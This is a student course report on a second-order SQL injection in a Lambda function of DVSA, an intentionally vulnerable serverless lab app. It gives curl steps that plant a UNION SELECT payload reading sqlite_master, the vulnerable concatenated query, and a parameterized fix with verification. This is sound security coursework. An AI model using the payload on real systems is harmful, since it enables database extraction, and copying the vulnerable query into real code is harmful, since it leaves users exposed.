Vulnerability Report

Second-Order SQL Injection

DVSA-GET-CART-TOTAL Lambda — ICS 344 Course Project

- **Course / Section:** ICS 344 — Section 01
- **Student Name(s) + ID(s):** Faisal Alharbi — s202261000
- **Your DVSA Website URL:** http://dvsa-faisalalharbi-ics344-project-716522590330-us-east-1.s3-website.us-east-1.amazonaws.com
- **AWS Region:** us-east-1 (N. Virginia)
- **Date:** 26th April 2026
- **Vulnerability Title(s):** Second-Order SQL Injection in DVSA-GET-CART-TOTAL Lambda

Second-Order SQL Injection

Security Vulnerability Report — DVSA-GET-CART-TOTAL Lambda

Part 1 — Goal and Vulnerability Summary

This section documents an undocumented Second-Order SQL Injection within the serverless cart calculation workflow. The vulnerability resides in the DVSA-GET-CART-TOTAL Lambda function and its interaction with the SQLite inventory database. By injecting a malicious SQL payload during the initial order creation, an attacker can store the payload innocuously. When the billing phase is triggered, the backend unsafely concatenates this stored data into a new database query, allowing the attacker to extract database metadata and bypass intended application logic.

Part 2 — Why This Works / Root Cause

The vulnerability is rooted in unsafe string concatenation and a failure to re-validate data retrieved from internal storage. In distributed serverless architectures, developers often mistakenly assume that data read from an internal database is safe. When the billing request triggers the DVSA-GET-CART-TOTAL function, the Lambda retrieves the previously stored item ID (which contains the injected payload) and directly formats it into a SELECT statement without parameterization. This causes the payload to "wake up" and execute as a SQL command.

Part 3 — Environment and Setup

Target API Endpoint: https://[API_ID].execute-api.us-east-1.amazonaws.com/dvsa/order
Target Lambda Function: DVSA-GET-CART-TOTAL
Log Group: /aws/lambda/DVSA-GET-CART-TOTAL
Tools Used: curl, standard user JWT, AWS CloudWatch Logs

Part 4 — Reproduction Steps

Step 1 — Plant the Payload

Initiate a new order using a valid JWT, passing a UNION SELECT payload as the itemId:

```
curl -X POST "$API_URL" \
  -H "Content-Type: application/json" \
  -H "Authorization: $JWT_TOKEN" \
  -d '{
    "action": "new",
    "cart-id": "hacked-cart-001",
    "items": {
      "1 UNION SELECT 1, GROUP_CONCAT(name), 0 FROM sqlite_master WHERE
type='table'": 1
    }
  }'
```

Figure 1 — Bash — Step 1: *Injecting the UNION SELECT payload as the itemId in a new order request*

```bash
curl -X POST "$API_URL" \
-H "Content-Type: application/json" \
-H "Authorization: $JWT_TOKEN" \
-d '{"action": "new", "cart-id": "hacked-cart-001", "items": {"1 UNION SELECT 1,
```

Figure 2 — Terminal Screenshot: *curl request as seen in the Bash terminal*

Step 2 — Add Shipping Details

Advance the serverless pipeline by binding shipping data to the newly generated order-id:

```bash
curl -X POST "$API_URL" \
  -H "Content-Type: application/json" \
  -H "Authorization: $JWT_TOKEN" \
  -d '{
    "action": "shipping",
    "order-id": "'$ORDER_ID'",
    "data": {
      "address": "123 Hacker Way",
      "email": "hacker@example.com",
      "name": "SQL Injector"
    }
  }'
```

Figure 3 — Bash — Step 2: *Binding shipping data to the generated order-id to advance the pipeline*

Step 3 — Trigger the Execution

Submit the billing request to force the backend to evaluate the cart total, which reads the stored item and executes the SQL payload against the inventory database:

```bash
curl -X POST "$API_URL" \
  -H "Content-Type: application/json" \
  -H "Authorization: $JWT_TOKEN" \
  -d '{
    "action": "billing",
    "order-id": "'$ORDER_ID'",
    "data": {
      "ccn": "4242424242424242",
      "exp": "11/25",
      "cvv": "123"
    }
  }'
```

Figure 4 — Bash — Step 3: *Triggering the billing endpoint to activate the delayed SQL payload*

Part 5 — Evidence and Proof

The execution of the injected SQL payload is confirmed by inspecting the backend logs. The log entry demonstrates that the UNION SELECT statement successfully manipulated the database

query. Instead of returning a standard numerical price, the database exposed its hidden schema metadata, returning the table name (inventory) directly to the application logs.

Part 6 — Fix Strategy / Probable Mitigation

The vulnerability must be fixed within the database query logic of the DVSA-GET-CART-TOTAL Lambda function. The system must ensure that untrusted values are never concatenated directly into SQL queries, regardless of the pipeline stage. The correct mitigation is to replace the string concatenation with parameterized queries (prepared statements). This forces the database to treat the input strictly as literal data rather than executable code.

Part 7 — Code / Config Changes

The fix was applied to get_cart_total.py inside the DVSA-GET-CART-TOTAL Lambda function.

Before — Vulnerable Code

```python
# Vulnerable: raw string concatenation
res = cur.execute(
    "SELECT itemId, price, quantity FROM inventory WHERE itemId = "
    + item_id + ";"
)
```

Figure 5 — Python — Vulnerable Code: *Unsafe string concatenation in get_cart_total.py allows SQL injection*

After — Patched Code

```python
# Secure: parameterized query (prepared statement)
res = cur.execute(
    "SELECT itemId, price, quantity FROM inventory WHERE itemId = ?;",
    (item_id,)
)
```

Figure 6 — Python — Patched Code: *Parameterized query in get_cart_total.py prevents SQL injection*

Part 8 — Verification After Fix

To verify the fix, the exact same exploitation steps were repeated. With the parameterized query deployed, the database safely treats the entire UNION SELECT payload as a literal string. Because an item with that string does not exist in the inventory, the backend gracefully handles the failure and returns a safe error without executing the payload or crashing the downstream microservices.

Part 9 — Structured Operation and Security Analysis

Table 1 — *Vulnerability Rule Mapping and Behavioral Evidence*

Vulnerability	Intended Rule(s)	Artifacts Used to Infer Rule	Normal Behavior Evidence	Exploit Behavior Evidence
Second-Order SQLi	Item IDs from internal storage must be treated as untrusted and queried safely using parameterization.	get_cart_total.py source code, CloudWatch Logs, curl API requests.	Cart calculation queries the DB and returns the numerical price of legitimate items.	CloudWatch logs print DB schema metadata (Price: inventory) extracted via the delayed UNION SELECT payload.

Table 2 — *Deviation Classification and Remediation Summary*

Vulnerability	Why This Is a Deviation	Deviation Class	Fix Applied (Where)	Post-Fix Verification	Latency Before/After Logging
Second-Order SQLi	The backend trusted previously stored user data and evaluated it as an executable SQL command, breaking data isolation.	Intentional misuse / security-relevant abuse	Replaced string concatenation with a parameterized query (?) in DVSA-GET-CART-TOTAL.	The payload is safely treated as a literal string, returning a clean "Item could not be found" error.	Optional

Part 10 — Takeaway / Lessons Learned

In multi-stage serverless workflows, input validation and sanitization must be consistent across all stages, not just at the initial API entry point. Trust boundaries do not end at the database layer; data passed between microservices or retrieved from internal storage must still be treated as potentially malicious. Utilizing parameterized queries is a mandatory defense-in-depth measure for every database interaction.